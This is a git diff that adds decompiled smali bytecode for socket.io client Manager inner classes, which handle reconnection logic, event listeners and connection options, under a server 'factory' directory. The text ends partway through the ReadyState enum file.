+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1$1.smali
@@ -0,0 +1,116 @@
+.class Lio/socket/client/Manager$11$1$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/Manager$OpenCallback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$11$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$2:Lio/socket/client/Manager$11$1;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$11$1;)V
+ .locals 0
+ .param p1, "this$2" # Lio/socket/client/Manager$11$1;
+
+ .line 560
+ iput-object p1, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public call(Ljava/lang/Exception;)V
+ .locals 3
+ .param p1, "err" # Ljava/lang/Exception;
+
+ .line 563
+ if-eqz p1, :cond_0
+
+ .line 564
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "reconnect attempt error"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 565
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const/4 v1, 0x0
+
+ invoke-static {v0, v1}, Lio/socket/client/Manager;->access$2102(Lio/socket/client/Manager;Z)Z
+
+ .line 566
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$2200(Lio/socket/client/Manager;)V
+
+ .line 567
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ aput-object p1, v2, v1
+
+ const-string v1, "reconnect_error"
+
+ invoke-static {v0, v1, v2}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ goto :goto_0
+
+ .line 569
+ :cond_0
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "reconnect success"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 570
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$2300(Lio/socket/client/Manager;)V
+
+ .line 572
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1.smali
new file mode 100644
index 0000000..2467836
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$11$1.smali
@@ -0,0 +1,144 @@
+.class Lio/socket/client/Manager$11$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$11;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$11;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$11;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$11;
+
+ .line 547
+ iput-object p1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 6
+
+ .line 550
+ iget-object v0, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$300(Lio/socket/client/Manager;)Z
+
+ move-result v0
+
+ if-eqz v0, :cond_0
+
+ return-void
+
+ .line 552
+ :cond_0
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "attempting reconnect"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 553
+ iget-object v0, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$2000(Lio/socket/client/Manager;)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ .line 554
+ .local v0, "attempts":I
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const/4 v2, 0x1
+
+ new-array v3, v2, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v4
+
+ const/4 v5, 0x0
+
+ aput-object v4, v3, v5
+
+ const-string v4, "reconnect_attempt"
+
+ invoke-static {v1, v4, v3}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 555
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v3
+
+ aput-object v3, v2, v5
+
+ const-string v3, "reconnecting"
+
+ invoke-static {v1, v3, v2}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 558
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v1}, Lio/socket/client/Manager;->access$300(Lio/socket/client/Manager;)Z
+
+ move-result v1
+
+ if-eqz v1, :cond_1
+
+ return-void
+
+ .line 560
+ :cond_1
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ new-instance v2, Lio/socket/client/Manager$11$1$1;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$11$1$1;->(Lio/socket/client/Manager$11$1;)V
+
+ invoke-virtual {v1, v2}, Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+
+ .line 574
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$11.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$11.smali
new file mode 100644
index 0000000..74bfb45
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$11.smali
@@ -0,0 +1,52 @@
+.class Lio/socket/client/Manager$11;
+.super Ljava/util/TimerTask;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->reconnect()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 544
+ iput-object p1, p0, Lio/socket/client/Manager$11;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .line 547
+ new-instance v0, Lio/socket/client/Manager$11$1;
+
+ invoke-direct {v0, p0}, Lio/socket/client/Manager$11$1;->(Lio/socket/client/Manager$11;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 576
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$12.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$12.smali
new file mode 100644
index 0000000..14494c9
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$12.smali
@@ -0,0 +1,53 @@
+.class Lio/socket/client/Manager$12;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->reconnect()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$timer:Ljava/util/Timer;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Ljava/util/Timer;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 579
+ iput-object p1, p0, Lio/socket/client/Manager$12;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$12;->val$timer:Ljava/util/Timer;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 1
+
+ .line 582
+ iget-object v0, p0, Lio/socket/client/Manager$12;->val$timer:Ljava/util/Timer;
+
+ invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
+
+ .line 583
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$2.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$2.smali
new file mode 100644
index 0000000..3f47be1
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$2.smali
@@ -0,0 +1,86 @@
+.class Lio/socket/client/Manager$2;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 345
+ iput-object p1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 3
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 348
+ const/4 v0, 0x0
+
+ aget-object v0, p1, v0
+
+ .line 349
+ .local v0, "data":Ljava/lang/Object;
+ instance-of v1, v0, Ljava/lang/String;
+
+ if-eqz v1, :cond_0
+
+ .line 350
+ iget-object v1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ move-object v2, v0
+
+ check-cast v2, Ljava/lang/String;
+
+ invoke-static {v1, v2}, Lio/socket/client/Manager;->access$1000(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ goto :goto_0
+
+ .line 351
+ :cond_0
+ instance-of v1, v0, [B
+
+ if-eqz v1, :cond_1
+
+ .line 352
+ iget-object v1, p0, Lio/socket/client/Manager$2;->this$0:Lio/socket/client/Manager;
+
+ move-object v2, v0
+
+ check-cast v2, [B
+
+ check-cast v2, [B
+
+ invoke-static {v1, v2}, Lio/socket/client/Manager;->access$1100(Lio/socket/client/Manager;[B)V
+
+ .line 354
+ :cond_1
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$3.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$3.smali
new file mode 100644
index 0000000..5bdf04a
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$3.smali
@@ -0,0 +1,50 @@
+.class Lio/socket/client/Manager$3;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 356
+ iput-object p1, p0, Lio/socket/client/Manager$3;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 1
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 359
+ iget-object v0, p0, Lio/socket/client/Manager$3;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1200(Lio/socket/client/Manager;)V
+
+ .line 360
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$4.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$4.smali
new file mode 100644
index 0000000..9eb84fa
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$4.smali
@@ -0,0 +1,50 @@
+.class Lio/socket/client/Manager$4;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 362
+ iput-object p1, p0, Lio/socket/client/Manager$4;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 1
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 365
+ iget-object v0, p0, Lio/socket/client/Manager$4;->this$0:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1300(Lio/socket/client/Manager;)V
+
+ .line 366
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$5.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$5.smali
new file mode 100644
index 0000000..bc8bd71
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$5.smali
@@ -0,0 +1,56 @@
+.class Lio/socket/client/Manager$5;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 368
+ iput-object p1, p0, Lio/socket/client/Manager$5;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 371
+ iget-object v0, p0, Lio/socket/client/Manager$5;->this$0:Lio/socket/client/Manager;
+
+ const/4 v1, 0x0
+
+ aget-object v1, p1, v1
+
+ check-cast v1, Ljava/lang/Exception;
+
+ invoke-static {v0, v1}, Lio/socket/client/Manager;->access$1400(Lio/socket/client/Manager;Ljava/lang/Exception;)V
+
+ .line 372
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$6.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$6.smali
new file mode 100644
index 0000000..c6d2390
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$6.smali
@@ -0,0 +1,56 @@
+.class Lio/socket/client/Manager$6;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 374
+ iput-object p1, p0, Lio/socket/client/Manager$6;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 377
+ iget-object v0, p0, Lio/socket/client/Manager$6;->this$0:Lio/socket/client/Manager;
+
+ const/4 v1, 0x0
+
+ aget-object v1, p1, v1
+
+ check-cast v1, Ljava/lang/String;
+
+ invoke-static {v0, v1}, Lio/socket/client/Manager;->access$1500(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ .line 378
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$7.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$7.smali
new file mode 100644
index 0000000..0e63ad3
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$7.smali
@@ -0,0 +1,56 @@
+.class Lio/socket/client/Manager$7;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->onopen()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 380
+ iput-object p1, p0, Lio/socket/client/Manager$7;->this$0:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 383
+ iget-object v0, p0, Lio/socket/client/Manager$7;->this$0:Lio/socket/client/Manager;
+
+ const/4 v1, 0x0
+
+ aget-object v1, p1, v1
+
+ check-cast v1, Lio/socket/parser/Packet;
+
+ invoke-static {v0, v1}, Lio/socket/client/Manager;->access$1600(Lio/socket/client/Manager;Lio/socket/parser/Packet;)V
+
+ .line 384
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$8.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$8.smali
new file mode 100644
index 0000000..6b3fd12
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$8.smali
@@ -0,0 +1,64 @@
+.class Lio/socket/client/Manager$8;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$s:Lio/socket/client/Socket;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;Lio/socket/client/Socket;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 431
+ iput-object p1, p0, Lio/socket/client/Manager$8;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$8;->val$self:Lio/socket/client/Manager;
+
+ iput-object p3, p0, Lio/socket/client/Manager$8;->val$s:Lio/socket/client/Socket;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .line 434
+ iget-object v0, p0, Lio/socket/client/Manager$8;->val$self:Lio/socket/client/Manager;
+
+ invoke-static {v0}, Lio/socket/client/Manager;->access$1700(Lio/socket/client/Manager;)Ljava/util/Set;
+
+ move-result-object v0
+
+ iget-object v1, p0, Lio/socket/client/Manager$8;->val$s:Lio/socket/client/Socket;
+
+ invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
+
+ .line 435
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$9.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$9.smali
new file mode 100644
index 0000000..5176d09
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$9.smali
@@ -0,0 +1,66 @@
+.class Lio/socket/client/Manager$9;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$s:Lio/socket/client/Socket;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Socket;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .line 437
+ iput-object p1, p0, Lio/socket/client/Manager$9;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$9;->val$s:Lio/socket/client/Socket;
+
+ iput-object p3, p0, Lio/socket/client/Manager$9;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .line 440
+ iget-object v0, p0, Lio/socket/client/Manager$9;->val$s:Lio/socket/client/Socket;
+
+ iget-object v1, p0, Lio/socket/client/Manager$9;->val$self:Lio/socket/client/Manager;
+
+ iget-object v1, v1, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v1}, Lio/socket/engineio/client/Socket;->id()Ljava/lang/String;
+
+ move-result-object v1
+
+ iput-object v1, v0, Lio/socket/client/Socket;->id:Ljava/lang/String;
+
+ .line 441
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$Engine.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$Engine.smali
new file mode 100644
index 0000000..5018817
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$Engine.smali
@@ -0,0 +1,28 @@
+.class Lio/socket/client/Manager$Engine;
+.super Lio/socket/engineio/client/Socket;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0xa
+ name = "Engine"
+.end annotation
+
+
+# direct methods
+.method constructor (Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+ .locals 0
+ .param p1, "uri" # Ljava/net/URI;
+ .param p2, "opts" # Lio/socket/engineio/client/Socket$Options;
+
+ .line 606
+ invoke-direct {p0, p1, p2}, Lio/socket/engineio/client/Socket;->(Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+
+ .line 607
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$OpenCallback.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$OpenCallback.smali
new file mode 100644
index 0000000..56705d3
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$OpenCallback.smali
@@ -0,0 +1,19 @@
+.class public interface abstract Lio/socket/client/Manager$OpenCallback;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x609
+ name = "OpenCallback"
+.end annotation
+
+
+# virtual methods
+.method public abstract call(Ljava/lang/Exception;)V
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$Options.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$Options.smali
new file mode 100644
index 0000000..cabab39
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$Options.smali
@@ -0,0 +1,49 @@
+.class public Lio/socket/client/Manager$Options;
+.super Lio/socket/engineio/client/Socket$Options;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x9
+ name = "Options"
+.end annotation
+
+
+# instance fields
+.field public randomizationFactor:D
+
+.field public reconnection:Z
+
+.field public reconnectionAttempts:I
+
+.field public reconnectionDelay:J
+
+.field public reconnectionDelayMax:J
+
+.field public timeout:J
+
+
+# direct methods
+.method public constructor ()V
+ .locals 2
+
+ .line 610
+ invoke-direct {p0}, Lio/socket/engineio/client/Socket$Options;->()V
+
+ .line 612
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/Manager$Options;->reconnection:Z
+
+ .line 621
+ const-wide/16 v0, 0x4e20
+
+ iput-wide v0, p0, Lio/socket/client/Manager$Options;->timeout:J
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/Manager$ReadyState.smali b/server/app/factory/decompiled/smali/io/socket/client/Manager$ReadyState.smali
new file mode 100644
index 0000000..e7de73c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/Manager$ReadyState.smali
@@ -0,0 +1,135 @@
+.class final enum Lio/socket/client/Manager$ReadyState;
+.super Ljava/lang/Enum;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x4018
+ name = "ReadyState"
+.end annotation
+
+.annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/lang/Enum<",
+ "Lio/socket/client/Manager$ReadyState;",
+ ">;"
+ }
+.end annotation
+
+
+# static fields
+.field private static final synthetic $VALUES:[Lio/socket/client/Manager$ReadyState;
+
